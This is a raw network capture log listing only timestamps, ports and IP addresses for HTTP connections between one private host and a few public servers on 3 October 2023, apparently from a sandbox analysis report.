Oct 3, 2023 09:55:44.403388023 CEST	49913	80	192.168.2.3	104.21.1.18
Oct 3, 2023 09:55:44.405312061 CEST	49913	80	192.168.2.3	104.21.1.18
Oct 3, 2023 09:55:44.531016111 CEST	49915	80	192.168.2.3	172.67.151.219
Oct 3, 2023 09:55:44.626027107 CEST	80	49915	172.67.151.219	192.168.2.3
Oct 3, 2023 09:55:44.626149893 CEST	49915	80	192.168.2.3	172.67.151.219
Oct 3, 2023 09:55:44.626358986 CEST	49915	80	192.168.2.3	172.67.151.219
Oct 3, 2023 09:55:44.632916927 CEST	49915	80	192.168.2.3	172.67.151.219
Oct 3, 2023 09:55:44.721681118 CEST	80	49915	172.67.151.219	192.168.2.3
Oct 3, 2023 09:55:44.727946997 CEST	80	49915	172.67.151.219	192.168.2.3
Oct 3, 2023 09:55:44.998611927 CEST	80	49915	172.67.151.219	192.168.2.3
Oct 3, 2023 09:55:44.998677969 CEST	80	49915	172.67.151.219	192.168.2.3
Oct 3, 2023 09:55:44.998821974 CEST	49915	80	192.168.2.3	172.67.151.219
Oct 3, 2023 09:55:45.007075071 CEST	49915	80	192.168.2.3	172.67.151.219
Oct 3, 2023 09:55:45.133635044 CEST	49916	80	192.168.2.3	172.67.151.219
Oct 3, 2023 09:55:45.228753090 CEST	80	49916	172.67.151.219	192.168.2.3
Oct 3, 2023 09:55:45.228950977 CEST	49916	80	192.168.2.3	172.67.151.219
Oct 3, 2023 09:55:45.229557037 CEST	49916	80	192.168.2.3	172.67.151.219
Oct 3, 2023 09:55:45.231204987 CEST	49916	80	192.168.2.3	172.67.151.219
Oct 3, 2023 09:55:45.324500084 CEST	80	49916	172.67.151.219	192.168.2.3
Oct 3, 2023 09:55:45.326183081 CEST	80	49916	172.67.151.219	192.168.2.3
Oct 3, 2023 09:55:45.613132000 CEST	80	49916	172.67.151.219	192.168.2.3
Oct 3, 2023 09:55:45.613202095 CEST	80	49916	172.67.151.219	192.168.2.3
Oct 3, 2023 09:55:45.613257885 CEST	49916	80	192.168.2.3	172.67.151.219
Oct 3, 2023 09:55:45.615089893 CEST	49916	80	192.168.2.3	172.67.151.219
Oct 3, 2023 09:55:45.898035049 CEST	80	49914	104.21.81.17	192.168.2.3
Oct 3, 2023 09:55:45.898097992 CEST	80	49914	104.21.81.17	192.168.2.3
Oct 3, 2023 09:55:45.898266077 CEST	49914	80	192.168.2.3	104.21.81.17
Oct 3, 2023 09:55:45.899765968 CEST	49914	80	192.168.2.3	104.21.81.17
Oct 3, 2023 09:55:48.416083097 CEST	49918	80	192.168.2.3	172.67.151.219
Oct 3, 2023 09:55:48.510905981 CEST	80	49918	172.67.151.219	192.168.2.3
Oct 3, 2023 09:55:48.511010885 CEST	49918	80	192.168.2.3	172.67.151.219
Oct 3, 2023 09:55:48.511243105 CEST	49918	80	192.168.2.3	172.67.151.219
Oct 3, 2023 09:55:48.511986017 CEST	49918	80	192.168.2.3	172.67.151.219
Oct 3, 2023 09:55:48.605753899 CEST	80	49918	172.67.151.219	192.168.2.3
Oct 3, 2023 09:55:48.606589079 CEST	80	49918	172.67.151.219	192.168.2.3
Oct 3, 2023 09:55:48.844564915 CEST	80	49918	172.67.151.219	192.168.2.3
Oct 3, 2023 09:55:48.844619989 CEST	80	49918	172.67.151.219	192.168.2.3
Oct 3, 2023 09:55:48.844710112 CEST	49918	80	192.168.2.3	172.67.151.219
Oct 3, 2023 09:55:48.846981049 CEST	49918	80	192.168.2.3	172.67.151.219
Oct 3, 2023 09:55:49.005227089 CEST	49919	80	192.168.2.3	172.67.151.219
Oct 3, 2023 09:55:49.100020885 CEST	80	49919	172.67.151.219	192.168.2.3
Oct 3, 2023 09:55:49.100123882 CEST	49919	80	192.168.2.3	172.67.151.219
Oct 3, 2023 09:55:49.102274895 CEST	49919	80	192.168.2.3	172.67.151.219
Oct 3, 2023 09:55:49.102689028 CEST	49919	80	192.168.2.3	172.67.151.219
Oct 3, 2023 09:55:49.196897030 CEST	80	49919	172.67.151.219	192.168.2.3
Oct 3, 2023 09:55:49.197189093 CEST	80	49919	172.67.151.219	192.168.2.3
Oct 3, 2023 09:55:49.382586956 CEST	49829	80	192.168.2.3	104.21.81.17
Oct 3, 2023 09:55:49.483118057 CEST	80	49919	172.67.151.219	192.168.2.3
Oct 3, 2023 09:55:49.483172894 CEST	80	49919	172.67.151.219	192.168.2.3
Oct 3, 2023 09:55:49.483306885 CEST	49919	80	192.168.2.3	172.67.151.219
Oct 3, 2023 09:55:49.544928074 CEST	49919	80	192.168.2.3	172.67.151.219
Oct 3, 2023 09:55:49.693784952 CEST	49920	80	192.168.2.3	172.67.151.219
Oct 3, 2023 09:55:49.788681030 CEST	80	49920	172.67.151.219	192.168.2.3
Oct 3, 2023 09:55:49.788817883 CEST	49920	80	192.168.2.3	172.67.151.219
Oct 3, 2023 09:55:49.793399096 CEST	49920	80	192.168.2.3	172.67.151.219
Oct 3, 2023 09:55:49.794106960 CEST	49920	80	192.168.2.3	172.67.151.219
Oct 3, 2023 09:55:49.888102055 CEST	80	49920	172.67.151.219	192.168.2.3
Oct 3, 2023 09:55:49.888672113 CEST	80	49920	172.67.151.219	192.168.2.3
Oct 3, 2023 09:55:50.034212112 CEST	80	49920	172.67.151.219	192.168.2.3
Oct 3, 2023 09:55:50.034255981 CEST	80	49920	172.67.151.219	192.168.2.3
Oct 3, 2023 09:55:50.034588099 CEST	49920	80	192.168.2.3	172.67.151.219
Oct 3, 2023 09:55:50.036197901 CEST	49920	80	192.168.2.3	172.67.151.219
Oct 3, 2023 09:55:50.153203011 CEST	49921	80	192.168.2.3	104.21.1.18
Oct 3, 2023 09:55:50.247932911 CEST	80	49921	104.21.1.18	192.168.2.3
Oct 3, 2023 09:55:50.248079062 CEST	49921	80	192.168.2.3	104.21.1.18
Oct 3, 2023 09:55:50.248358965 CEST	49921	80	192.168.2.3	104.21.1.18
Oct 3, 2023 09:55:50.249082088 CEST	49921	80	192.168.2.3	104.21.1.18
Oct 3, 2023 09:55:50.342720032 CEST	80	49921	104.21.1.18	192.168.2.3
Oct 3, 2023 09:55:50.343238115 CEST	80	49921	104.21.1.18	192.168.2.3
Oct 3, 2023 09:55:50.571069002 CEST	80	49921	104.21.1.18	192.168.2.3
Oct 3, 2023 09:55:50.571132898 CEST	80	49921	104.21.1.18	192.168.2.3
Oct 3, 2023 09:55:50.571254969 CEST	49921	80	192.168.2.3	104.21.1.18
Oct 3, 2023 09:55:50.572954893 CEST	49921	80	192.168.2.3	104.21.1.18
Oct 3, 2023 09:55:50.712970018 CEST	49922	80	192.168.2.3	104.21.1.18
Oct 3, 2023 09:55:50.807698965 CEST	80	49922	104.21.1.18	192.168.2.3
Oct 3, 2023 09:55:50.807877064 CEST	49922	80	192.168.2.3	104.21.1.18
Oct 3, 2023 09:55:50.808034897 CEST	49922	80	192.168.2.3	104.21.1.18
Oct 3, 2023 09:55:50.808756113 CEST	49922	80	192.168.2.3	104.21.1.18
Oct 3, 2023 09:55:50.902601957 CEST	80	49922	104.21.1.18	192.168.2.3
Oct 3, 2023 09:55:50.903063059 CEST	80	49922	104.21.1.18	192.168.2.3
Oct 3, 2023 09:55:51.140175104 CEST	80	49922	104.21.1.18	192.168.2.3
Oct 3, 2023 09:55:51.140239954 CEST	80	49922	104.21.1.18	192.168.2.3
Oct 3, 2023 09:55:51.140381098 CEST	49922	80	192.168.2.3	104.21.1.18
Oct 3, 2023 09:55:51.145560026 CEST	49922	80	192.168.2.3	104.21.1.18
Oct 3, 2023 09:55:51.275604963 CEST	49923	80	192.168.2.3	104.21.1.18
Oct 3, 2023 09:55:51.370554924 CEST	80	49923	104.21.1.18	192.168.2.3
Oct 3, 2023 09:55:51.370762110 CEST	49923	80	192.168.2.3	104.21.1.18
Oct 3, 2023 09:55:51.370898962 CEST	49923	80	192.168.2.3	104.21.1.18
Oct 3, 2023 09:55:51.371318102 CEST	49923	80	192.168.2.3	104.21.1.18
Oct 3, 2023 09:55:51.465739965 CEST	80	49923	104.21.1.18	192.168.2.3
Oct 3, 2023 09:55:51.465894938 CEST	80	49923	104.21.1.18	192.168.2.3
Oct 3, 2023 09:55:51.738919020 CEST	80	49923	104.21.1.18	192.168.2.3
Oct 3, 2023 09:55:51.738979101 CEST	80	49923	104.21.1.18	192.168.2.3
Oct 3, 2023 09:55:51.739046097 CEST	49923	80	192.168.2.3	104.21.1.18
Oct 3, 2023 09:55:51.740117073 CEST	49923	80	192.168.2.3	104.21.1.18
Oct 3, 2023 09:55:51.857095957 CEST	49924	80	192.168.2.3	104.21.1.18
Oct 3, 2023 09:55:51.952203989 CEST	80	49924	104.21.1.18	192.168.2.3
Oct 3, 2023 09:55:51.952306986 CEST	49924	80	192.168.2.3	104.21.1.18
Oct 3, 2023 09:55:51.952478886 CEST	49924	80	192.168.2.3	104.21.1.18
Oct 3, 2023 09:55:51.953233957 CEST	49924	80	192.168.2.3	104.21.1.18
Oct 3, 2023 09:55:52.047657013 CEST	80	49924	104.21.1.18	192.168.2.3
Oct 3, 2023 09:55:52.047715902 CEST	80	49924	104.21.1.18	192.168.2.3
Oct 3, 2023 09:55:52.320103884 CEST	80	49924	104.21.1.18	192.168.2.3
Oct 3, 2023 09:55:52.320168018 CEST	80	49924	104.21.1.18	192.168.2.3
Oct 3, 2023 09:55:52.320246935 CEST	49924	80	192.168.2.3	104.21.1.18
Oct 3, 2023 09:55:52.321990967 CEST	49924	80	192.168.2.3	104.21.1.18
Oct 3, 2023 09:55:52.768384933 CEST	49925	80	192.168.2.3	104.21.1.18
Oct 3, 2023 09:55:52.863388062 CEST	80	49925	104.21.1.18	192.168.2.3
Oct 3, 2023 09:55:52.863509893 CEST	49925	80	192.168.2.3	104.21.1.18
Oct 3, 2023 09:55:52.865957022 CEST	49925	80	192.168.2.3	104.21.1.18
Oct 3, 2023 09:55:52.866549015 CEST	49925	80	192.168.2.3	104.21.1.18
Oct 3, 2023 09:55:52.960649967 CEST	80	49925	104.21.1.18	192.168.2.3
Oct 3, 2023 09:55:52.960727930 CEST	49925	80	192.168.2.3	104.21.1.18
Oct 3, 2023 09:55:52.961095095 CEST	80	49925	104.21.1.18	192.168.2.3
Oct 3, 2023 09:55:52.961158991 CEST	49925	80	192.168.2.3	104.21.1.18
Oct 3, 2023 09:55:52.961220026 CEST	80	49925	104.21.1.18	192.168.2.3
Oct 3, 2023 09:55:52.961256027 CEST	80	49925	104.21.1.18	192.168.2.3
Oct 3, 2023 09:55:52.961278915 CEST	49925	80	192.168.2.3	104.21.1.18
Oct 3, 2023 09:55:52.961288929 CEST	80	49925	104.21.1.18	192.168.2.3
Oct 3, 2023 09:55:52.961319923 CEST	49925	80	192.168.2.3	104.21.1.18
Oct 3, 2023 09:55:52.961321115 CEST	80	49925	104.21.1.18	192.168.2.3
Oct 3, 2023 09:55:52.961344957 CEST	49925	80	192.168.2.3	104.21.1.18
Oct 3, 2023 09:55:52.961354971 CEST	80	49925	104.21.1.18	192.168.2.3
Oct 3, 2023 09:55:52.961373091 CEST	49925	80	192.168.2.3	104.21.1.18
Oct 3, 2023 09:55:52.961388111 CEST	80	49925	104.21.1.18	192.168.2.3
Oct 3, 2023 09:55:52.961414099 CEST	49925	80	192.168.2.3	104.21.1.18
Oct 3, 2023 09:55:52.961421013 CEST	80	49925	104.21.1.18	192.168.2.3
Oct 3, 2023 09:55:52.961452961 CEST	80	49925	104.21.1.18	192.168.2.3
Oct 3, 2023 09:55:52.961457968 CEST	49925	80	192.168.2.3	104.21.1.18
Oct 3, 2023 09:55:52.961484909 CEST	49925	80	192.168.2.3	104.21.1.18
Oct 3, 2023 09:55:52.961518049 CEST	49925	80	192.168.2.3	104.21.1.18
Oct 3, 2023 09:55:53.056495905 CEST	80	49925	104.21.1.18	192.168.2.3
Oct 3, 2023 09:55:53.056548119 CEST	80	49925	104.21.1.18	192.168.2.3
Oct 3, 2023 09:55:53.056581974 CEST	80	49925	104.21.1.18	192.168.2.3
Oct 3, 2023 09:55:53.056615114 CEST	49925	80	192.168.2.3	104.21.1.18
Oct 3, 2023 09:55:53.056617975 CEST	80	49925	104.21.1.18	192.168.2.3
Oct 3, 2023 09:55:53.056649923 CEST	80	49925	104.21.1.18	192.168.2.3
Oct 3, 2023 09:55:53.056651115 CEST	49925	80	192.168.2.3	104.21.1.18
Oct 3, 2023 09:55:53.056683064 CEST	49925	80	192.168.2.3	104.21.1.18
Oct 3, 2023 09:55:53.056683064 CEST	80	49925	104.21.1.18	192.168.2.3
Oct 3, 2023 09:55:53.056711912 CEST	49925	80	192.168.2.3	104.21.1.18
Oct 3, 2023 09:55:53.056719065 CEST	80	49925	104.21.1.18	192.168.2.3
Oct 3, 2023 09:55:53.056745052 CEST	49925	80	192.168.2.3	104.21.1.18
Oct 3, 2023 09:55:53.056755066 CEST	80	49925	104.21.1.18	192.168.2.3
Oct 3, 2023 09:55:53.056777000 CEST	49925	80	192.168.2.3	104.21.1.18
Oct 3, 2023 09:55:53.056787968 CEST	80	49925	104.21.1.18	192.168.2.3
Oct 3, 2023 09:55:53.056813002 CEST	49925	80	192.168.2.3	104.21.1.18
Oct 3, 2023 09:55:53.056858063 CEST	49925	80	192.168.2.3	104.21.1.18
Oct 3, 2023 09:55:53.056910038 CEST	80	49925	104.21.1.18	192.168.2.3
Oct 3, 2023 09:55:53.056972027 CEST	49925	80	192.168.2.3	104.21.1.18
Oct 3, 2023 09:55:53.057116985 CEST	80	49925	104.21.1.18	192.168.2.3
Oct 3, 2023 09:55:53.057188034 CEST	49925	80	192.168.2.3	104.21.1.18
Oct 3, 2023 09:55:53.057310104 CEST	80	49925	104.21.1.18	192.168.2.3
Oct 3, 2023 09:55:53.057377100 CEST	49925	80	192.168.2.3	104.21.1.18
Oct 3, 2023 09:55:53.098479033 CEST	80	49925	104.21.1.18	192.168.2.3
Oct 3, 2023 09:55:53.098592997 CEST	49925	80	192.168.2.3	104.21.1.18
Oct 3, 2023 09:55:53.153471947 CEST	80	49925	104.21.1.18	192.168.2.3
Oct 3, 2023 09:55:53.153527975 CEST	80	49925	104.21.1.18	192.168.2.3
Oct 3, 2023 09:55:53.153559923 CEST	80	49925	104.21.1.18	192.168.2.3
Oct 3, 2023 09:55:53.153584957 CEST	49925	80	192.168.2.3	104.21.1.18
Oct 3, 2023 09:55:53.153592110 CEST	80	49925	104.21.1.18	192.168.2.3
Oct 3, 2023 09:55:53.153624058 CEST	80	49925	104.21.1.18	192.168.2.3
Oct 3, 2023 09:55:53.153656006 CEST	80	49925	104.21.1.18	192.168.2.3
Oct 3, 2023 09:55:53.153667927 CEST	49925	80	192.168.2.3	104.21.1.18
Oct 3, 2023 09:55:53.153667927 CEST	49925	80	192.168.2.3	104.21.1.18
Oct 3, 2023 09:55:53.153688908 CEST	80	49925	104.21.1.18	192.168.2.3
Oct 3, 2023 09:55:53.153722048 CEST	80	49925	104.21.1.18	192.168.2.3
Oct 3, 2023 09:55:53.153734922 CEST	49925	80	192.168.2.3	104.21.1.18
Oct 3, 2023 09:55:53.153734922 CEST	49925	80	192.168.2.3	104.21.1.18
Oct 3, 2023 09:55:53.153755903 CEST	80	49925	104.21.1.18	192.168.2.3
Oct 3, 2023 09:55:53.153790951 CEST	80	49925	104.21.1.18	192.168.2.3
Oct 3, 2023 09:55:53.153800964 CEST	49925	80	192.168.2.3	104.21.1.18
Oct 3, 2023 09:55:53.153800964 CEST	49925	80	192.168.2.3	104.21.1.18
Oct 3, 2023 09:55:53.153800964 CEST	49925	80	192.168.2.3	104.21.1.18
Oct 3, 2023 09:55:53.153824091 CEST	80	49925	104.21.1.18	192.168.2.3
Oct 3, 2023 09:55:53.153856039 CEST	80	49925	104.21.1.18	192.168.2.3
Oct 3, 2023 09:55:53.153867960 CEST	49925	80	192.168.2.3	104.21.1.18
Oct 3, 2023 09:55:53.153867960 CEST	49925	80	192.168.2.3	104.21.1.18
Oct 3, 2023 09:55:53.153889894 CEST	80	49925	104.21.1.18	192.168.2.3
Oct 3, 2023 09:55:53.153922081 CEST	80	49925	104.21.1.18	192.168.2.3
Oct 3, 2023 09:55:53.153929949 CEST	49925	80	192.168.2.3	104.21.1.18
Oct 3, 2023 09:55:53.153954983 CEST	80	49925	104.21.1.18	192.168.2.3
Oct 3, 2023 09:55:53.153980970 CEST	49925	80	192.168.2.3	104.21.1.18
Oct 3, 2023 09:55:53.153986931 CEST	80	49925	104.21.1.18	192.168.2.3
Oct 3, 2023 09:55:53.154021025 CEST	80	49925	104.21.1.18	192.168.2.3
Oct 3, 2023 09:55:53.154042006 CEST	49925	80	192.168.2.3	104.21.1.18
Oct 3, 2023 09:55:53.154052019 CEST	80	49925	104.21.1.18	192.168.2.3
Oct 3, 2023 09:55:53.154071093 CEST	49925	80	192.168.2.3	104.21.1.18
Oct 3, 2023 09:55:53.154083967 CEST	80	49925	104.21.1.18	192.168.2.3
Oct 3, 2023 09:55:53.154120922 CEST	80	49925	104.21.1.18	192.168.2.3
Oct 3, 2023 09:55:53.154128075 CEST	49925	80	192.168.2.3	104.21.1.18
Oct 3, 2023 09:55:53.154128075 CEST	49925	80	192.168.2.3	104.21.1.18
Oct 3, 2023 09:55:53.154155970 CEST	80	49925	104.21.1.18	192.168.2.3
Oct 3, 2023 09:55:53.154156923 CEST	49925	80	192.168.2.3	104.21.1.18
Oct 3, 2023 09:55:53.154189110 CEST	80	49925	104.21.1.18	192.168.2.3
Oct 3, 2023 09:55:53.154191971 CEST	49925	80	192.168.2.3	104.21.1.18
Oct 3, 2023 09:55:53.154217958 CEST	49925	80	192.168.2.3	104.21.1.18
Oct 3, 2023 09:55:53.154223919 CEST	80	49925	104.21.1.18	192.168.2.3
Oct 3, 2023 09:55:53.154241085 CEST	49925	80	192.168.2.3	104.21.1.18
Oct 3, 2023 09:55:53.154261112 CEST	80	49925	104.21.1.18	192.168.2.3
Oct 3, 2023 09:55:53.154278040 CEST	49925	80	192.168.2.3	104.21.1.18
Oct 3, 2023 09:55:53.154325962 CEST	49925	80	192.168.2.3	104.21.1.18
Oct 3, 2023 09:55:53.154340982 CEST	80	49925	104.21.1.18	192.168.2.3
Oct 3, 2023 09:55:53.154392958 CEST	49925	80	192.168.2.3	104.21.1.18
Oct 3, 2023 09:55:53.193523884 CEST	80	49925	104.21.1.18	192.168.2.3
Oct 3, 2023 09:55:53.193578959 CEST	80	49925	104.21.1.18	192.168.2.3
Oct 3, 2023 09:55:53.193615913 CEST	49925	80	192.168.2.3	104.21.1.18
Oct 3, 2023 09:55:53.193659067 CEST	49925	80	192.168.2.3	104.21.1.18
Oct 3, 2023 09:55:53.253640890 CEST	80	49925	104.21.1.18	192.168.2.3
Oct 3, 2023 09:55:53.253699064 CEST	80	49925	104.21.1.18	192.168.2.3
Oct 3, 2023 09:55:53.253732920 CEST	80	49925	104.21.1.18	192.168.2.3
Oct 3, 2023 09:55:53.253768921 CEST	80	49925	104.21.1.18	192.168.2.3
Oct 3, 2023 09:55:53.253801107 CEST	80	49925	104.21.1.18	192.168.2.3
Oct 3, 2023 09:55:53.253834009 CEST	80	49925	104.21.1.18	192.168.2.3
Oct 3, 2023 09:55:53.253843069 CEST	49925	80	192.168.2.3	104.21.1.18
Oct 3, 2023 09:55:53.253843069 CEST	49925	80	192.168.2.3	104.21.1.18
Oct 3, 2023 09:55:53.253843069 CEST	49925	80	192.168.2.3	104.21.1.18
Oct 3, 2023 09:55:53.253843069 CEST	49925	80	192.168.2.3	104.21.1.18
Oct 3, 2023 09:55:53.253871918 CEST	80	49925	104.21.1.18	192.168.2.3
Oct 3, 2023 09:55:53.253906012 CEST	80	49925	104.21.1.18	192.168.2.3
Oct 3, 2023 09:55:53.253940105 CEST	80	49925	104.21.1.18	192.168.2.3
Oct 3, 2023 09:55:53.253941059 CEST	49925	80	192.168.2.3	104.21.1.18
Oct 3, 2023 09:55:53.253941059 CEST	49925	80	192.168.2.3	104.21.1.18
Oct 3, 2023 09:55:53.253941059 CEST	49925	80	192.168.2.3	104.21.1.18
Oct 3, 2023 09:55:53.253973961 CEST	80	49925	104.21.1.18	192.168.2.3
Oct 3, 2023 09:55:53.253998995 CEST	49925	80	192.168.2.3	104.21.1.18
Oct 3, 2023 09:55:53.253998995 CEST	49925	80	192.168.2.3	104.21.1.18
Oct 3, 2023 09:55:53.254044056 CEST	49925	80	192.168.2.3	104.21.1.18
Oct 3, 2023 09:55:53.254076004 CEST	80	49925	104.21.1.18	192.168.2.3
Oct 3, 2023 09:55:53.254113913 CEST	80	49925	104.21.1.18	192.168.2.3
Oct 3, 2023 09:55:53.254137039 CEST	49925	80	192.168.2.3	104.21.1.18
Oct 3, 2023 09:55:53.254148006 CEST	80	49925	104.21.1.18	192.168.2.3
Oct 3, 2023 09:55:53.254209995 CEST	49925	80	192.168.2.3	104.21.1.18
Oct 3, 2023 09:55:53.254209995 CEST	49925	80	192.168.2.3	104.21.1.18
Oct 3, 2023 09:55:53.254216909 CEST	80	49925	104.21.1.18	192.168.2.3
Oct 3, 2023 09:55:53.254250050 CEST	80	49925	104.21.1.18	192.168.2.3
Oct 3, 2023 09:55:53.254261017 CEST	49925	80	192.168.2.3	104.21.1.18
Oct 3, 2023 09:55:53.254302979 CEST	49925	80	192.168.2.3	104.21.1.18
Oct 3, 2023 09:55:53.254380941 CEST	80	49925	104.21.1.18	192.168.2.3
Oct 3, 2023 09:55:53.254414082 CEST	80	49925	104.21.1.18	192.168.2.3
Oct 3, 2023 09:55:53.254463911 CEST	49925	80	192.168.2.3	104.21.1.18
Oct 3, 2023 09:55:53.254463911 CEST	49925	80	192.168.2.3	104.21.1.18
Oct 3, 2023 09:55:53.254482031 CEST	80	49925	104.21.1.18	192.168.2.3
Oct 3, 2023 09:55:53.254519939 CEST	80	49925	104.21.1.18	192.168.2.3
Oct 3, 2023 09:55:53.254551888 CEST	80	49925	104.21.1.18	192.168.2.3
Oct 3, 2023 09:55:53.254551888 CEST	49925	80	192.168.2.3	104.21.1.18
Oct 3, 2023 09:55:53.254601955 CEST	49925	80	192.168.2.3	104.21.1.18
Oct 3, 2023 09:55:53.254601955 CEST	49925	80	192.168.2.3	104.21.1.18
Oct 3, 2023 09:55:53.254646063 CEST	80	49925	104.21.1.18	192.168.2.3
Oct 3, 2023 09:55:53.254674911 CEST	80	49925	104.21.1.18	192.168.2.3
Oct 3, 2023 09:55:53.254723072 CEST	49925	80	192.168.2.3	104.21.1.18
Oct 3, 2023 09:55:53.254724026 CEST	49925	80	192.168.2.3	104.21.1.18
Oct 3, 2023 09:55:53.254755974 CEST	80	49925	104.21.1.18	192.168.2.3
Oct 3, 2023 09:55:53.254786968 CEST	80	49925	104.21.1.18	192.168.2.3
Oct 3, 2023 09:55:53.254818916 CEST	49925	80	192.168.2.3	104.21.1.18
Oct 3, 2023 09:55:53.254846096 CEST	49925	80	192.168.2.3	104.21.1.18
Oct 3, 2023 09:55:53.254857063 CEST	80	49925	104.21.1.18	192.168.2.3
Oct 3, 2023 09:55:53.254909039 CEST	49925	80	192.168.2.3	104.21.1.18
Oct 3, 2023 09:55:53.254926920 CEST	80	49925	104.21.1.18	192.168.2.3
Oct 3, 2023 09:55:53.254981995 CEST	49925	80	192.168.2.3	104.21.1.18
Oct 3, 2023 09:55:53.254990101 CEST	80	49925	104.21.1.18	192.168.2.3
Oct 3, 2023 09:55:53.255043030 CEST	49925	80	192.168.2.3	104.21.1.18
Oct 3, 2023 09:55:53.255048990 CEST	80	49925	104.21.1.18	192.168.2.3
Oct 3, 2023 09:55:53.255100965 CEST	49925	80	192.168.2.3	104.21.1.18
Oct 3, 2023 09:55:53.255227089 CEST	80	49925	104.21.1.18	192.168.2.3
Oct 3, 2023 09:55:53.255243063 CEST	80	49925	104.21.1.18	192.168.2.3
Oct 3, 2023 09:55:53.255279064 CEST	49925	80	192.168.2.3	104.21.1.18
Oct 3, 2023 09:55:53.255290031 CEST	80	49925	104.21.1.18	192.168.2.3
Oct 3, 2023 09:55:53.255322933 CEST	49925	80	192.168.2.3	104.21.1.18
Oct 3, 2023 09:55:53.255358934 CEST	80	49925	104.21.1.18	192.168.2.3
Oct 3, 2023 09:55:53.255378962 CEST	49925	80	192.168.2.3	104.21.1.18
Oct 3, 2023 09:55:53.255388975 CEST	80	49925	104.21.1.18	192.168.2.3
Oct 3, 2023 09:55:53.255413055 CEST	49925	80	192.168.2.3	104.21.1.18
Oct 3, 2023 09:55:53.255443096 CEST	49925	80	192.168.2.3	104.21.1.18
Oct 3, 2023 09:55:53.255527020 CEST	80	49925	104.21.1.18	192.168.2.3
Oct 3, 2023 09:55:53.255542994 CEST	80	49925	104.21.1.18	192.168.2.3
Oct 3, 2023 09:55:53.255558014 CEST	80	49925	104.21.1.18	192.168.2.3
Oct 3, 2023 09:55:53.255574942 CEST	80	49925	104.21.1.18	192.168.2.3
Oct 3, 2023 09:55:53.255582094 CEST	49925	80	192.168.2.3	104.21.1.18
Oct 3, 2023 09:55:53.255608082 CEST	49925	80	192.168.2.3	104.21.1.18
Oct 3, 2023 09:55:53.255642891 CEST	49925	80	192.168.2.3	104.21.1.18
Oct 3, 2023 09:55:53.255691051 CEST	80	49925	104.21.1.18	192.168.2.3
Oct 3, 2023 09:55:53.255707026 CEST	80	49925	104.21.1.18	192.168.2.3
Oct 3, 2023 09:55:53.255737066 CEST	80	49925	104.21.1.18	192.168.2.3
Oct 3, 2023 09:55:53.255752087 CEST	80	49925	104.21.1.18	192.168.2.3
Oct 3, 2023 09:55:53.255765915 CEST	80	49925	104.21.1.18	192.168.2.3
Oct 3, 2023 09:55:53.255765915 CEST	49925	80	192.168.2.3	104.21.1.18
Oct 3, 2023 09:55:53.255765915 CEST	49925	80	192.168.2.3	104.21.1.18
Oct 3, 2023 09:55:53.255794048 CEST	80	49925	104.21.1.18	192.168.2.3
Oct 3, 2023 09:55:53.255820036 CEST	49925	80	192.168.2.3	104.21.1.18
Oct 3, 2023 09:55:53.255820036 CEST	49925	80	192.168.2.3	104.21.1.18
Oct 3, 2023 09:55:53.255825996 CEST	80	49925	104.21.1.18	192.168.2.3
Oct 3, 2023 09:55:53.255863905 CEST	49925	80	192.168.2.3	104.21.1.18
Oct 3, 2023 09:55:53.255891085 CEST	49925	80	192.168.2.3	104.21.1.18
Oct 3, 2023 09:55:53.255911112 CEST	80	49925	104.21.1.18	192.168.2.3
Oct 3, 2023 09:55:53.255953074 CEST	80	49925	104.21.1.18	192.168.2.3
Oct 3, 2023 09:55:53.255969048 CEST	49925	80	192.168.2.3	104.21.1.18
Oct 3, 2023 09:55:53.256000996 CEST	80	49925	104.21.1.18	192.168.2.3
Oct 3, 2023 09:55:53.256004095 CEST	49925	80	192.168.2.3	104.21.1.18
Oct 3, 2023 09:55:53.256031990 CEST	80	49925	104.21.1.18	192.168.2.3
Oct 3, 2023 09:55:53.256062031 CEST	49925	80	192.168.2.3	104.21.1.18
Oct 3, 2023 09:55:53.256093979 CEST	49925	80	192.168.2.3	104.21.1.18
Oct 3, 2023 09:55:53.256175995 CEST	80	49925	104.21.1.18	192.168.2.3
Oct 3, 2023 09:55:53.256217003 CEST	80	49925	104.21.1.18	192.168.2.3
Oct 3, 2023 09:55:53.256230116 CEST	49925	80	192.168.2.3	104.21.1.18
Oct 3, 2023 09:55:53.256264925 CEST	49925	80	192.168.2.3	104.21.1.18
Oct 3, 2023 09:55:53.256297112 CEST	80	49925	104.21.1.18	192.168.2.3
Oct 3, 2023 09:55:53.256313086 CEST	80	49925	104.21.1.18	192.168.2.3
Oct 3, 2023 09:55:53.256355047 CEST	49925	80	192.168.2.3	104.21.1.18
Oct 3, 2023 09:55:53.256375074 CEST	80	49925	104.21.1.18	192.168.2.3
Oct 3, 2023 09:55:53.256391048 CEST	49925	80	192.168.2.3	104.21.1.18
Oct 3, 2023 09:55:53.256417990 CEST	80	49925	104.21.1.18	192.168.2.3
Oct 3, 2023 09:55:53.256423950 CEST	49925	80	192.168.2.3	104.21.1.18
Oct 3, 2023 09:55:53.256468058 CEST	49925	80	192.168.2.3	104.21.1.18
Oct 3, 2023 09:55:53.256489992 CEST	80	49925	104.21.1.18	192.168.2.3
Oct 3, 2023 09:55:53.256550074 CEST	80	49925	104.21.1.18	192.168.2.3
Oct 3, 2023 09:55:53.256562948 CEST	49925	80	192.168.2.3	104.21.1.18
Oct 3, 2023 09:55:53.256607056 CEST	49925	80	192.168.2.3	104.21.1.18
Oct 3, 2023 09:55:53.256649971 CEST	80	49925	104.21.1.18	192.168.2.3
Oct 3, 2023 09:55:53.256666899 CEST	80	49925	104.21.1.18	192.168.2.3
Oct 3, 2023 09:55:53.256681919 CEST	80	49925	104.21.1.18	192.168.2.3
Oct 3, 2023 09:55:53.256704092 CEST	49925	80	192.168.2.3	104.21.1.18
Oct 3, 2023 09:55:53.256747961 CEST	49925	80	192.168.2.3	104.21.1.18
Oct 3, 2023 09:55:53.256747961 CEST	49925	80	192.168.2.3	104.21.1.18
Oct 3, 2023 09:55:53.256771088 CEST	80	49925	104.21.1.18	192.168.2.3
Oct 3, 2023 09:55:53.256787062 CEST	80	49925	104.21.1.18	192.168.2.3
Oct 3, 2023 09:55:53.256818056 CEST	49925	80	192.168.2.3	104.21.1.18
Oct 3, 2023 09:55:53.256851912 CEST	49925	80	192.168.2.3	104.21.1.18
Oct 3, 2023 09:55:53.288280964 CEST	80	49925	104.21.1.18	192.168.2.3
Oct 3, 2023 09:55:53.288331985 CEST	80	49925	104.21.1.18	192.168.2.3
Oct 3, 2023 09:55:53.288367987 CEST	80	49925	104.21.1.18	192.168.2.3
Oct 3, 2023 09:55:53.288402081 CEST	80	49925	104.21.1.18	192.168.2.3
Oct 3, 2023 09:55:53.288402081 CEST	49925	80	192.168.2.3	104.21.1.18
